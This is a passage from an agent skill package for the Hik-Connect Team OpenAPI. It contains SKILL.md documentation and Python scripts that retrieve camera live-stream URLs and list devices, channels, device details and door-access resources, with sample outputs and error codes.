|--------------|---------|-------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------|
| `url` | String | Video stream address | Directly accessible video stream URL |
| `expireTime` | String | Expiration time in `yyyy-mm-dd hh:mm:ss` format | Local timezone. **IMPORTANT: This value is the authoritative source. Do NOT parse expiration time from URL query parameters (e.g., Expires, expire).** |
| `playable` | Boolean | Whether the Video Stream URL is playable | If `false`, check field for reason. |
---
## 📝 Output Example
### Video Stream Success Example:
```text
[2026-04-23 18:12:02] Requesting video stream: Device=J10137390, Resource=6a447d3f9cfe4c8e8394c19f8fbcd3ba
[SUCCESS] Video stream successful: https://isgpopen.ezvizlife.com/v3/openlive/J10137390_1_1.m3u8?expire=1776939724&id=967488042038833152&c=c3a53f2806&t=4a33a0fa618fec303534c5bb856693aef55b488353c0f56a6edbc6dba8e54079&ev=100
[INFO] Stream URL expiration time: 2026-04-23 18:22:04
[JSON Output]
{
"success": true,
"url": "https://isgpopen.ezvizlife.com/v3/openlive/J10137390_1_1.m3u8?expire=1776939724&id=967488042038833152&c=c3a53f2806&t=4a33a0fa618fec303534c5bb856693aef55b488353c0f56a6edbc6dba8e54079&ev=100",
"expireTime": "2026-04-23 18:22:04",
"playable": true,
"error": null
}
======================================================================
Done
======================================================================
```
### Video Stream Failed Example( video encoding format is H265,Not Supported):
```text
[2026-04-24 13:51:42] Requesting video stream: Device=D72821502, Resource=661543ed4b35465a9767081ae0a8bf45
[SUCCESS] Got stream URL: https://vtmucyn.ezvizlife.com:8883/v3/openlive/D72821502_1_1.m3u8?expire=1777010504&id=967784913892188160&c=caf588fab7&t=837d2555567061dfa6095842439eafaf8536cf660f0f5aa5ee87c3c327916972&ev=100&u=d00f8fbf53ce42c1aaa8731f4ccacd68
[INFO] Stream URL expiration time: 2026-04-24 14:01:44
[ERROR] Stream URL is not playable, the error type is : H265_NOT_SUPPORTED
[JSON Output]
{
"success": false,
"url": "https://vtmucyn.ezvizlife.com:8883/v3/openlive/D72821502_1_1.m3u8?expire=1777010504&id=967784913892188160&c=caf588fab7&t=837d2555567061dfa6095842439eafaf8536cf660f0f5aa5ee87c3c327916972&ev=100&u=d00f8fbf53ce42c1aaa8731f4ccacd68",
"expireTime": "2026-04-24 14:01:44",
"playable": false
}
======================================================================
Done
======================================================================
```
---
## 📂 File Structure
```text
├── scripts/
│ └── get_video_url.py # Device video stream core execution script
└── SKILL.md # Skill usage documentation
```
---
## ❓ FAQ
- **Q: Why is video stream loading slowly?**
- A: Video stream quality is affected by network bandwidth, please ensure stable network environment.
- **Q: What if "Resource ID error" is shown?**
- A: Please first get correct channel `resourceId` through resource management module.
- **Q: What is the validity period of video stream address?**
- A: **Equals your configured stream duration**, which is the value of the `video-duration` parameter. For example, setting `--video-duration 1080` (18 minutes) means the address validity is exactly 18 minutes.
- **Q: What if video stream address is expired?**
- A: Video stream address has time limit, please re-run script to get after expiration.
- **Q: Can video stream address be opened and played directly?**
- A: Yes.
- **Q: Video stream address fails to load?**
- A: **Must check in this order:**
1. **Stream encryption**: Run `device_detail.py <serial>` — `Stream Encryption` must be `Disabled`
2. **Video encoding format**: Check in HCT platform — must be **H264** (H265 may fail in browser)
---
---
**Error Codes**:
| Return Code | Return Message | Description |
|-------------|-----------------------|---------------------------------------------------------------------------------------------|
| EVZ60019 | Encryption is enabled | Stream encryption not disabled, you MUST disable it in HCT platform before stream will work |
---
FILE:modules/Hik-Connect_Team_Video/scripts/get_video_url.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
HCTOpen Device Video Stream
"""
import sys
import os
import json
import argparse
from datetime import datetime, timezone
try:
import requests
except ImportError:
requests = None
# Robust lib directory import logic: search upward until lib directory is found
def setup_lib_path():
current_dir = os.path.dirname(os.path.abspath(__file__))
# Search upward 3 levels for root directory containing lib
root_dir = current_dir
for _ in range(3):
root_dir = os.path.dirname(root_dir)
potential_lib = os.path.join(root_dir, "lib")
if os.path.exists(potential_lib):
if potential_lib not in sys.path:
sys.path.insert(0, potential_lib)
return True
return False
if not setup_lib_path():
print("[ERROR] Cannot find lib directory, please ensure script is located in Hik-Connect_Team Skills directory structure")
sys.exit(1)
from token_manager import HCTOpenClient
def verify_stream(url):
"""
Verify stream is playable by fetching m3u8 and checking for error patterns.
Returns: (is_valid, error_type)
- H265 error pattern: m3u8 contains "ErrCode/9053"
"""
if not requests:
print("[WARN] requests library not installed, skipping stream verification")
return True, None
try:
resp = requests.get(url, timeout=5, headers={"User-Agent": "HCTOpen/1.0"})
if resp.status_code != 200:
return True, None # Don't block on HTTP errors, let player handle
content = resp.text
# Check for H265 error indicator: ErrCode/9053 in playlist
if "ErrCode/9053" in content or "9053_0.ts" in content:
return False, "H265_NOT_SUPPORTED"
# Check if playlist immediately ends (no valid segments)
lines = content.split("\n")
segment_count = sum(1 for line in lines if line.endswith(".ts"))
if segment_count == 0 and "#EXT-X-ENDLIST" in content:
return False, "NO_VALID_SEGMENTS"
return True, None
except Exception as e:
print(f"[WARN] Stream verification failed: {e}")
return True, None # Don't block on network errors
def format_expire_time(exp_time_ms):
"""Convert millisecond timestamp to yyyy-mm-dd hh:mm:ss in local timezone"""
if not exp_time_ms:
return None
dt = datetime.fromtimestamp(exp_time_ms / 1000, tz=timezone.utc).astimezone()
return dt.strftime("%Y-%m-%d %H:%M:%S")
class VideoClient(HCTOpenClient):
"""Device video stream client"""
def get_url(self, device_serial: str, resource_id: str, video_duration: int = 600):
"""Get video stream address"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Requesting video stream: Device={device_serial}, Resource={resource_id}")
endpoint = "/api/hccgw/video/v1/live/address/get"
payload = {
"resourceId": resource_id,
"deviceSerial": device_serial,
"protocol": 2, #HLS format: Stream retrieval supports only this format; no other formats are supported.
"expireTime": video_duration
}
# Video module API uses "Token" as Header Key
result = self.request("POST", endpoint, json_data=payload, token_header_key="Token")
if result.get("errorCode") == "0":
data = result.get("data", {})
stream_url = data.get("url")
exp_time_ms = data.get("expireTime")
if stream_url:
print(f"[SUCCESS] Got stream URL: {stream_url}")
# Verify stream is playable (check for H265 errors)
is_valid, error_type = verify_stream(stream_url)
# Format expire time as yyyy-mm-dd hh:mm:ss
expire_time_str = format_expire_time(exp_time_ms)
print(f"[INFO] Stream URL expiration time: {expire_time_str}")
if not is_valid:
print(f"[ERROR] Stream URL is not playable, the error type is : {error_type}")
self.exit_with_json({
"success": False,
"url": stream_url,
"expireTime": expire_time_str,
"playable": False
})
self.exit_with_json({
"success": True,
"url": stream_url,
"expireTime": expire_time_str,
"playable": True
})
else:
self.exit_with_json({
"success": False,
"url": None,
"expireTime": None,
"playable": False
})
else:
# Use unified message field
print(f"[ERROR] Video stream failed: {result.get('message', 'Unknown error')}")
self.exit_with_json({
"success": False,
"url": None,
"expireTime": None,
"playable": False
})
def main():
parser = argparse.ArgumentParser(description="HCTOpen Device Video Stream")
parser.add_argument("--device-serial", required=True, help="Device serial number")
parser.add_argument("--resource-id", required=True, help="Resource ID (Channel ID)")
parser.add_argument("--video-duration", type=int, default=600, help="Valid duration (seconds)")
args = parser.parse_args()
client = VideoClient()
client.get_url(args.device_serial, args.resource_id, args.video_duration)
if __name__ == "__main__":
main()
FILE:modules/Hik-Connect_Team_Resource/SKILL.md
---
name: hctopen-resource-manager
description: |
HCTOpen resource management skill. Supports viewing device list and specific device details, all channel details under specific device.
Use when: Need to view available devices, get specific device detailed information, get all channel information under specific device, etc.
Before calling this Skill's script, please check if user provided device serial number. If user didn't provide device serial number, please clearly inform user in reply: 'Currently using default parameters (such as viewing device list), if you need to view specific device information, please provide device serial number'. After getting confirmation or ignoring, continue execution.
⚠️ Security Requirement: Must set environment variables: Hik-Connect Team OpenAPI AppKey, Hik-Connect Team OpenAPI SecretKey. (API Domain is automatically obtained from token response)
parameters:
- name: device-serial
type: string
description: "Device serial number"
required: false
- name: page
type: integer
description: "Page number, default is 1"
default: 1
- name: page-size
type: integer
description: "Page size, default is 10"
default: 10
- name: device-category
type: string
description: "Device category filter. Options: encodingDevice, accessControllerDevice, alarmDevice, videoIntercomDevice, mobileDevice, businessDisplayDevice"
required: false
- name: match-key
type: string
description: "Fuzzy match key for device name or serial number. Only effective when device-category is specified."
required: false
responses:
- success: true
template: "Device information retrieved for you:"
media: "list_card"
metadata:
openclaw:
emoji: "📦"
requires:
env: ["HIK_CONNECT_TEAM_OPENAPI_APP_KEY", "HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY"]
pip: ["requests"]
primaryEnv: "HIK_CONNECT_TEAM_OPENAPI_APP_KEY"
warnings:
- "May read ~/.openclaw/*.json for credentials (env vars have priority)"
config:
configFileRead:
paths:
- "~/.openclaw/config.json"
- "~/.openclaw/gateway/config.json"
- "~/.openclaw/channels.json"
priority: "lower than environment variables"
description: "Reads Hik-Connect Team credentials from OpenClaw config files as fallback"
---
# HCTOpen Resource Manager
HCT is short for Hik-Connect for Teams, meaning Hik-Connect Team mode.
HCTOpen is short for Hik-Connect for Teams OpenAPI.
This Skill supports three core functions: view device list, query device details, and channel details under device.
---
## ⚠️ Security Warning (Read Before Use)
| # | Check Item | Status | Description |
|---|---------------------------|-------------|----------------------------------------------------------------------------------------------------|
| 1 | **Credential Permission** | ⚠️ Required | Please use credentials with **resource query permission**, avoid using super admin credentials |
| 2 | **Token Cache** | ✅ Encrypted | Token cached in system temp directory, only current user can read (600 permission) |
| 3 | **API Domain** | ✅ Auto | API domain is automatically obtained from token response (no longer requires manual configuration) |
---
## 🚀 Quick Start
### Run Resource Management Scripts
```bash
# Scenario 1: View device list (default pagination)
python scripts/list_devices.py
# Scenario 1a: Filter by device category (encodingDevice)
python scripts/list_devices.py --device-category encodingDevice
# Scenario 1b: Filter by device category with fuzzy match on name/serial
python scripts/list_devices.py --device-category encodingDevice --match-key D728215
# Scenario 2: Query single device details (by serial number)
python scripts/device_detail.py L33721705
# Scenario 3: View specific device channel list
python scripts/device_channels.py J10137390
# Scenario 4: View door access resource list (specified serial number)
python scripts/list_doors.py L33721705
```
---
## 🛠 Workflow
```mermaid
graph TD
A[Start Script] --> B{Check Environment Variables}
B -- Missing --> C[Report Error and Exit]
B -- Pass --> D[Get AccessToken]
D --> E{Is Token Valid?}
E -- Cache Valid --> F[Use Cache Directly]
E -- Expired/No Cache --> G[Call API to Get New Token]
G --> H[Save to Local Cache]
F --> I[Send Resource Query Request]
H --> I
I --> J{Parse Return Result}
J -- Success --> K[Print Resource List Table]
J -- Failed --> L[Print Error Message]
K --> M[Output JSON Result]
L --> M
M --> N[End]
```
---
## 📋 API Parameter Details
### 1. Device List Request Parameters
**Endpoint**: `POST /api/hccgw/resource/v1/devices/get`
| Parameter Name | Type | Description | Required | Default | Notes |
|-------------------|---------|---------------------------------------|----------|---------|---------------------------------------------------------------------------------------------------------------|
| `page` | Integer | Page number | No | 1 | Starts from 1 |
| `pageSize` | Integer | Page size | No | 10 | Max 100 |
| `deviceCategory` | String | Device category filter | No | - | encodingDevice, accessControllerDevice, alarmDevice, videoIntercomDevice, mobileDevice, businessDisplayDevice |
| `filter.matchKey` | String | Fuzzy match for device name or serial | No | - | Only effective when deviceCategory is specified |
#### deviceCategory Options
| deviceCategory Value | Description |
|--------------------------|----------------------------|
| `encodingDevice` | `Encoding Device / Camera` |
| `accessControllerDevice` | `Access Controller Device` |
| `alarmDevice` | `Alarm Device` |
| `videoIntercomDevice` | `Video Intercom Device` |
| `mobileDevice` | `Mobile Device` |
| `businessDisplayDevice` | `Business Display Device` |
### Device List Output Field Description
| Field Name | Type | Description |
|--------------------------|---------|------------------------------------------------------|
| `success` | Boolean | Whether request was successful |
| `total` | Integer | Total number of devices |
| `pageIndex` | Integer | Current page number |
| `pageSize` | Integer | Page size |
| `devices` | Array | Device list, each element is a device object |
| `devices[].id` | String | Device ID |
| `devices[].name` | String | Device name |
| `devices[].category` | String | Device type |
| `devices[].type` | String | Device model |
| `devices[].serialNo` | String | Device serial number |
| `devices[].version` | String | Firmware version |
| `devices[].onlineStatus` | Integer | Network status: 0 (offline), 1 (online), 2 (unknown) |
| `devices[].addTime` | String | Added time |
### Device List Success Example:
```text
[2026-04-09 15:44:01] Getting device list (page 1, 10 items per page)...
======================================================================
HCTOpen Device List (Total: 2, Current page count: 2)
======================================================================
No. Device ID Device Serial Number Device Name Model Version Device Type Added Time Status
---------------------------------------------------------------------------------------------------------------------------------------
1 2604f502e63247d393e83c07f58705b9 D72821502 Small Cup DS-2CV2026G0-IDW V5.5.110 build 200819 encodingDevice 2026-03-30 01:30:55 Online
2 39a2f72cf2d8404b9067d35cfe2d3501 J10137390 Test Room DS-2TD2637-10/P V5.5.64 build 230207 encodingDevice 2026-04-01 05:57:00 Online
======================================================================
[JSON Output]
{
"success": true,
"totalCount": 2,
"pageIndex": 1,
"pageSize": 10,
"devices": [
{
"id": "2604f502e63247d393e83c07f58705b9",
"serialNo": "D72821502",
"name": "Small Cup",
"type": "DS-2CV2026G0-IDW",
"version": "V5.5.110 build 200819",
"onlineStatus": 1,
"category": "encodingDevice",
"addTime": "2026-03-30 01:30:55"
},
{
"id": "39a2f72cf2d8404b9067d35cfe2d3501",
"serialNo": "J10137390",
"name": "Test Room",
"type": "DS-2TD2637-10/P",
"version": "V5.5.64 build 230207",
"onlineStatus": 1,
"category": "encodingDevice",
"addTime": "2026-04-01 05:57:00"
}
]
}
======================================================================
Done
======================================================================
```
### Device List Failed Example:
```text
[2026-04-22 19:05:43] Getting device list (page 1, 10 items per page)...
[WARNING] match-key is only effective when device-category is specified..
{'pageIndex': 1, 'pageSize': 10, 'filter': {'matchKey': 'D728215'}}
[ERROR] Failed to get device list: Device category is request{OPEN000010}
[JSON Output]
{
"success": false,
"error": "Device category is request{OPEN000010}",
"errorCode": "OPEN000010"
}
======================================================================
Done
======================================================================
```
### 2. Device Detail Request Parameters
**Endpoint**: `POST /api/hccgw/resource/v1/devicedetail/get`
| Parameter Name | Type | Description | Required | Default | Notes |
|------------------|--------|----------------------|----------|---------|--------------------------|
| `deviceSerialNo` | String | Device serial number | **Yes** | - | Device unique identifier |
### Device Detail Output Field Description
| Field Name | Type | Description |
|--------------------------------------------|---------|-------------------------------------------------|
| `success` | Boolean | Whether request was successful |
| `data` | Object | Device detail data object |
| `data.device` | Object | Device detailed information |
| `data.device.baseInfo` | Object | Device basic information |
| `data.device.baseInfo.id` | String | Device ID |
| `data.device.baseInfo.name` | String | Device name |
| `data.device.baseInfo.category` | String | Device type |
| `data.device.baseInfo.serialNo` | String | Device serial number |
| `data.device.baseInfo.version` | String | Firmware version |
| `data.device.baseInfo.type` | String | Device model |
| `data.device.baseInfo.streamEncryptEnable` | String | Stream encryption enable, 1-enabled, 0-disabled |
| `data.device.onlineStatus` | Integer | Device online status: 1-online, 0-offline |
### Device Detail Success Example:
```text
======================================================================
HCTOpen Device Detail
======================================================================
[Time] 2026-04-07 10:00:00
[INFO] Querying device details: F68147103
Device Name Device Serial Number Model Version Status
---------------- -------------- ---------------- -------------------- --------
F68147103 F68147103 DS-9664NI-I8 V4.40.220 build 210125 Online
======================================================================
[JSON Output]
{
"success": true,
"data": {
"device": {
"baseInfo": {
"id": "5c263e4293c84eae81720e9e481e33ad",
"name": "F68147103",
"category": "encodingDevice",
"serialNo": "F68147103",
"version": "V4.40.220 build 210125",
"type": "DS-9664NI-I8",
"streamEncryptEnable": "1",
}
"onlineStatus": 1,
}
}
}
======================================================================
Done
======================================================================
```
### 3. Device Channel List Request Parameters
**Endpoint**: `POST /api/hccgw/resource/v1/areas/cameras/get`
| Parameter Name | Type | Description | Required | Default | Notes |
|----------------|---------|----------------------|----------|---------|--------------------------|
| `deviceSerial` | String | Device serial number | **Yes** | - | Device unique identifier |
| `page` | Integer | Page number | No | 1 | Starts from 1 |
| `pageSize` | Integer | Page size | No | 10 | Max 100 |
### Device Channel List Output Field Description
| Field Name | Type | Description |
|---------------------------|---------|-------------------------------------------------------|
| `success` | Boolean | Whether request was successful |
| `data` | Object | Device channel list data object |
| `data.totalCount` | Integer | Total channel count |
| `data.pageIndex` | Integer | Current page number |
| `data.pageSize` | Integer | Page size |
| `data.camera` | Array | Camera channel list, each element is a channel object |
| `data.camera[].id` | String | Camera ID |
| `data.camera[].name` | String | Camera name |
| `data.camera[].online` | String | Online status: "1"-online, "0"-offline |
| `data.camera[].channelNo` | String | Channel number |
### Device Channel List Success Example:
```text
[2026-04-09 17:11:21] Querying device channels: J10137390
======================================================================
HCTOpen Device Channel List (Current page count: 2)
======================================================================
No. Resource ID Channel Name Status Area Channel No.
--------------------------------------------------------------
1 6a447d3f9cfe4c8e8394c19f8fbcd3ba Test Room_1 Offline OpenClaw 1
2 84b70e3ced36474fb2b8e6d02b9f8efc Test Room_2 Offline OpenClaw 2
======================================================================
[JSON Output]
{
"success": true,
"pageIndex": 1,
"pageSize": 50,
"total": 2,
"channels": [
{
"id": "6a447d3f9cfe4c8e8394c19f8fbcd3ba",
"name": "Test Room_1",
"online": "1",
"channelNo": "1"
},
{
"id": "84b70e3ced36474fb2b8e6d02b9f8efc",
"name": "Test Room_2",
"online": "1",
"channelNo": "2"
}
]
}
======================================================================
Done
======================================================================
```
### 4. Door Access Resource List Request Parameters
**Endpoint**: `POST /api/hccgw/resource/v1/areas/doors/get`
| Parameter Name | Type | Description | Required | Default | Notes |
|----------------|--------|----------------------|----------|---------|---------------------------------------------------|
| `deviceSerial` | String | Device serial number | Yes | - | Filter door access resources for specified device |
### Door Access Resource List Output Field Description
| Field Name | Type | Description |
|----------------------|---------|----------------------------------------|
| `success` | Boolean | Whether request was successful |
| `total` | Integer | Total door access resources |
| `doors` | Array | Door access list |
| `doors[].resourceId` | String | Door Resource ID |
| `doors[].name` | String | Door Access name |
| `doors[].online` | String | Online status: "1"-online, "0"-offline |
### Door Access Resource List Success Example:
```text
[2026-04-10 09:49:51] Getting door access resource list (Device serial number: L33721705)...
======================================================================
HCTOpen Door Access Resource List (Count: 1)
======================================================================
No. Door Resource ID Door Access Name Status
---------------------------------------------------
1 2aabf37ad9804f66acc4ad4fb7bd4698 L33721705 Online
======================================================================
[JSON Output]
{
"success": true,
"total": 1,
"doors": [
{
"resourceId": "2aabf37ad9804f66acc4ad4fb7bd4698",
"name": "L33721705",
"online": "1"
}
]
}
======================================================================
Done
======================================================================
```
---
## 📂 File Structure
```text
├── scripts/
│ ├── list_devices.py # Device list query script
│ ├── device_detail.py # Device detail query script
│ ├── device_channels.py # Device channel query script
│ └── list_doors.py # Device door access resource query script
└── SKILL.md # Skill usage documentation
```
---
## ❓ FAQ
- **Q: Why can't I find my device?**
- A: Please ensure Hik-Connect Team OpenAPI AppKey has permission to access the device, and check if serial number is entered correctly.
- **Q: What do status codes 1 and 0 mean?**
- A: 1 means online, 0 means offline.
- **Q: How to get all devices?**
- A: Script supports pagination, if there are many devices, please adjust `--page-size` parameter or loop request.
---
---
#### deviceCategory Options
**Error Codes**:
| Return Code | Return Message | Description |
|-------------|-----------------------------|---------------------------------------------------------------------------|
| OPEN000010 | Device category is request | `match-key` is only effective when `device-category` is specified. |
| OPEN000010 | Device category not support | Please ensure `device-category` is valid and within the supported options |
---
FILE:modules/Hik-Connect_Team_Resource/scripts/device_channels.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
HCTOpen Device Channel List
"""
import sys
import os
import json
import argparse
from datetime import datetime
# Robust lib directory import logic: search upward until lib directory is found
def setup_lib_path():
current_dir = os.path.dirname(os.path.abspath(__file__))
# Search upward 3 levels for root directory containing lib
root_dir = current_dir
for _ in range(3):
root_dir = os.path.dirname(root_dir)
potential_lib = os.path.join(root_dir, "lib")
if os.path.exists(potential_lib):
if potential_lib not in sys.path:
sys.path.insert(0, potential_lib)
return True
return False
if not setup_lib_path():
print("[ERROR] Cannot find lib directory, please ensure script is located in Hik-Connect_Team Skills directory structure")
sys.exit(1)
from token_manager import HCTOpenClient
class DeviceChannelsClient(HCTOpenClient):
"""Device channel query client"""
def get_channels(self, device_serial: str, page: int = 1, page_size: int = 50):
"""Get and print device channel list"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Querying device channels: {device_serial}")
endpoint = "/api/hccgw/resource/v1/areas/cameras/get"
payload = {
"pageIndex": page,
"pageSize": page_size,
"filter": {"deviceSerialNo": device_serial}
}
# Resource module API uses "Token" as Header Key
result = self.request("POST", endpoint, json_data=payload, token_header_key="Token")
if result.get("errorCode") == "0":
data = result.get("data", {})
channels = data.get("camera", [])
total = len(channels)
headers = ["No.", "Resource ID", "Channel Name", "Status", "Area", "Channel No."]
rows = []
for i, ch in enumerate(channels, 1):
status = "Online" if ch.get("online") == "1" else "Offline"
area_name = ch.get("area", {}).get("name", "Unknown")
channel_no = ch.get("device", {}).get("channelInfo", {}).get("no", "-")
rows.append([
i,
ch.get("id"),
ch.get("name", "Unknown"),
status,
area_name,
channel_no
])
self.print_table(f"HCTOpen Device Channel List (Current page count: {total})", headers, rows)
# Maintain output format consistent with original script
self.exit_with_json({
"success": True,
"pageIndex": page,
"pageSize": page_size,
"total": total,
"channels": [
{
"id": c.get("id"),
"name": c.get("name"),
# Convert to "1" or "0"
"online": c.get("online"),
# Map to root-level channelNo
"channelNo": c.get("device", {}).get("channelInfo", {}).get("no")
}
for c in channels
]
})
else:
# Use unified message field
print(f"[ERROR] Failed to get channel list: {result.get('message', 'Unknown error')}")
self.exit_with_json({
"success": False,
"error": result.get("message", "Unknown error"),
"errorCode": result.get("errorCode")
})
def main():
parser = argparse.ArgumentParser(description="HCTOpen Get Device Channel List")
parser.add_argument("device_serial", help="Device serial number")
parser.add_argument("--page", type=int, default=1, help="Page number")
parser.add_argument("--page-size", type=int, default=50, help="Page size")
args = parser.parse_args()
client = DeviceChannelsClient()
client.get_channels(args.device_serial, page=args.page, page_size=args.page_size)
if __name__ == "__main__":
main()
FILE:modules/Hik-Connect_Team_Resource/scripts/device_detail.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
HCTOpen Device Detail
"""
import sys
import os
import json
import argparse
from datetime import datetime
# Robust lib directory import logic: search upward until lib directory is found
def setup_lib_path():
current_dir = os.path.dirname(os.path.abspath(__file__))
# Search upward 3 levels for root directory containing lib
root_dir = current_dir
for _ in range(3):
root_dir = os.path.dirname(root_dir)
potential_lib = os.path.join(root_dir, "lib")
if os.path.exists(potential_lib):
if potential_lib not in sys.path:
sys.path.insert(0, potential_lib)
return True
return False
if not setup_lib_path():
print("[ERROR] Cannot find lib directory, please ensure script is located in Hik-Connect_Team Skills directory structure")
sys.exit(1)
from token_manager import HCTOpenClient
class DeviceDetailClient(HCTOpenClient):
"""Device detail query client"""
def get_detail(self, device_serial: str):
"""Get and print device details"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Querying device details: {device_serial}")
endpoint = "/api/hccgw/resource/v1/devicedetail/get"
payload = {"deviceSerialNo": device_serial}
# Resource module API uses "Token" as Header Key
result = self.request("POST", endpoint, json_data=payload, token_header_key="Token")
if result.get("errorCode") == "0":
data = result.get("data", {}).get("device", {})
base_info = data.get("baseInfo", {})
# 1. Define list of fields to remove
exclude_keys = [
"availableCameraChannelNum",
"availableAlarmInputChannelNum",
"availableAlarmOutputChannelNum",
"areaId",
"area"
]
# 2. Create a simplified base_info for JSON output
# Use dict comprehension to filter out unwanted keys
filtered_base_info = {k: v for k, v in base_info.items() if k not in exclude_keys}
headers = ["Device ID", "Device Name", "Device Serial Number", "Device Type", "Model", "Status", "Version", "Stream Encryption"]
status = "Online" if data.get("onlineStatus") == 1 else "Offline"
rows = [[
base_info.get("id"),
base_info.get("name", "Unknown"),
base_info.get("serialNo", "Unknown"),
base_info.get("category", "Unknown"),
base_info.get("type", "Unknown"),
status,
base_info.get("version", "Unknown"),
"Enabled" if base_info.get("streamEncryptEnable", "0") == "1" else "Disabled",
]]
self.print_table("HCTOpen Device Detail", headers, rows)
# Maintain output format
self.exit_with_json({
"success": True,
"total": 1,
"devices": [{
"base_info": filtered_base_info,
"onlineStatus": data.get("onlineStatus")
}]
})
else:
# Use unified message field
print(f"[ERROR] Failed to get device details: {result.get('message', 'Unknown error')}")
self.exit_with_json({
"success": False,
"error": result.get("message", "Unknown error"),
"errorCode": result.get("errorCode")
})
def main():
parser = argparse.ArgumentParser(description="HCTOpen Get Device Detail")
parser.add_argument("device_serial", help="Device serial number")
args = parser.parse_args()
client = DeviceDetailClient()
client.get_detail(args.device_serial)
if __name__ == "__main__":
main()
FILE:modules/Hik-Connect_Team_Resource/scripts/list_devices.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
HCTOpen Device List
"""
import sys
import os
import argparse
import json
from datetime import datetime
# Robust lib directory import logic: search upward until lib directory is found
def setup_lib_path():
current_dir = os.path.dirname(os.path.abspath(__file__))
# Search upward 3 levels for root directory containing lib
root_dir = current_dir
for _ in range(3):
root_dir = os.path.dirname(root_dir)
potential_lib = os.path.join(root_dir, "lib")
if os.path.exists(potential_lib):
if potential_lib not in sys.path:
sys.path.insert(0, potential_lib)
return True
return False
if not setup_lib_path():
print("[ERROR] Cannot find lib directory, please ensure script is located in Hik-Connect_Team Skills directory structure")
sys.exit(1)
from token_manager import HCTOpenClient
class DeviceListClient(HCTOpenClient):
"""Device list query client"""
def fetch_devices(self, page: int = 1, page_size: int = 10, device_category: str = None, match_key: str = None):
"""Get device list and print"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Getting device list (page {page}, {page_size} items per page)...")
# Validate match_key requirement
if match_key and not device_category:
print("[WARNING] match-key is only effective when device-category is specified.")
endpoint = "/api/hccgw/resource/v1/devices/get"
payload = {"pageIndex": page, "pageSize": page_size}
# Add device category filter if specified
if device_category:
payload["deviceCategory"] = device_category
if match_key:
payload["filter"] = {"matchKey": match_key}
print(payload)
# Resource module API uses "Token" as Header Key
result = self.request("POST", endpoint, json_data=payload, token_header_key="Token")
if result.get("errorCode") == "0":
data = result.get("data", {})
devices = data.get("device", [])
total = len(devices)
headers = ["No.", "Device ID", "Device Serial Number", "Device Name", "Model", "Version", "Device Type", "Added Time", "Status"]
rows = []
for i, dev in enumerate(devices, 1):
status = "Online" if dev.get("onlineStatus") == 1 else "Offline"
rows.append([
i,
dev.get("id"),
dev.get("serialNo", "Unknown"),
dev.get("name", "Unknown"),
dev.get("type", "Unknown"),
dev.get("version", "-"),
dev.get("category", "Unknown"),
dev.get("addTime", "Unknown"),
status
])
self.print_table(f"HCTOpen Device List (Current page count: {total})", headers, rows)
self.exit_with_json({
"success": True,
"total": total,
"devices": [
{
"id": d.get("id"),
"deviceName": d.get("name"),
"serialNo": d.get("serialNo"),
"type": d.get("type"),
"onlineStatus": d.get("onlineStatus"),
"category": d.get("category"),
"addTime": d.get("addTime"),
}
for d in devices
]
})
else:
# Use unified message field
print(f"[ERROR] Failed to get device list: {result.get('message', 'Unknown error')}")
self.exit_with_json({
"success": False,
"error": result.get("message", "Unknown error"),
"errorCode": result.get("errorCode")
})
def main():
parser = argparse.ArgumentParser(description="HCTOpen Get Device List")
parser.add_argument("--page", type=int, default=1, help="Page number (default: 1)")
parser.add_argument("--page-size", type=int, default=10, help="Page size (default: 10)")
parser.add_argument("--device-category", type=str, default=None,
help="Device category filter (encodingDevice, accessControllerDevice, alarmDevice, videoIntercomDevice, mobileDevice, businessDisplayDevice)")
parser.add_argument("--match-key", type=str, default=None,
help="Fuzzy match key for device name or serial number. Only effective when device-category is specified.")
args = parser.parse_args()
client = DeviceListClient()
client.fetch_devices(page=args.page, page_size=args.page_size, device_category=args.device_category, match_key=args.match_key)
if __name__ == "__main__":
main()
FILE:modules/Hik-Connect_Team_Resource/scripts/list_doors.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
HCTOpen Door List
"""
import sys
import os
import argparse
import json
from datetime import datetime
# Robust lib directory import logic: search upward until lib directory is found
def setup_lib_path():
current_dir = os.path.dirname(os.path.abspath(__file__))
# Search upward 3 levels for root directory containing lib
root_dir = current_dir
for _ in range(3):
root_dir = os.path.dirname(root_dir)
potential_lib = os.path.join(root_dir, "lib")
if os.path.exists(potential_lib):
if potential_lib not in sys.path:
sys.path.insert(0, potential_lib)
return True
return False
if not setup_lib_path():
print("[ERROR] Cannot find lib directory, please ensure script is located in Hik-Connect_Team Skills directory structure")
sys.exit(1)
from token_manager import HCTOpenClient
class DoorListClient(HCTOpenClient):
"""Door access resource list query client"""
def fetch_doors(self, device_serial: str):
"""Get door access resource list and print"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Getting door access resource list (Device serial number: {device_serial if device_serial else 'All'})...")
endpoint = "/api/hccgw/resource/v1/areas/doors/get"
# pageSize=100, pageIndex=1, includeSubArea=1 are fixed values
payload = {
"pageIndex": 1,
"pageSize": 100,
"filter": {
"includeSubArea": "1",
"deviceSerialNo": device_serial
}
}
# Resource module API uses "Token" as Header Key
result = self.request("POST", endpoint, json_data=payload, token_header_key="Token")
if result.get("errorCode") == "0":
data = result.get("data", {})
doors = data.get("door", [])
total = len(doors)
headers = ["No.", "Door Resource ID", "Door Access Name", "Status"]
rows = []
simplified_doors = []
for i, door in enumerate(doors, 1):
status = "Online" if door.get("online") == "1" else "Offline"
rows.append([
i,
door.get("id"),
door.get("name", "Unknown"),
status
])
# Only keep id, name, online status
simplified_doors.append({
"resourceId": door.get("id"),
"name": door.get("name"),
"online": door.get("online")
})
self.print_table(f"HCTOpen Door Access Resource List (Count: {total})", headers, rows)
self.exit_with_json({
"success": True,
"total": total,
"doors": simplified_doors
})
else:
# Use unified message field
print(f"[ERROR] Failed to get door access resource list: {result.get('message', 'Unknown error')}")
self.exit_with_json({
"success": False,
"error": result.get("message", "Unknown error"),
"errorCode": result.get("errorCode")
})
def main():
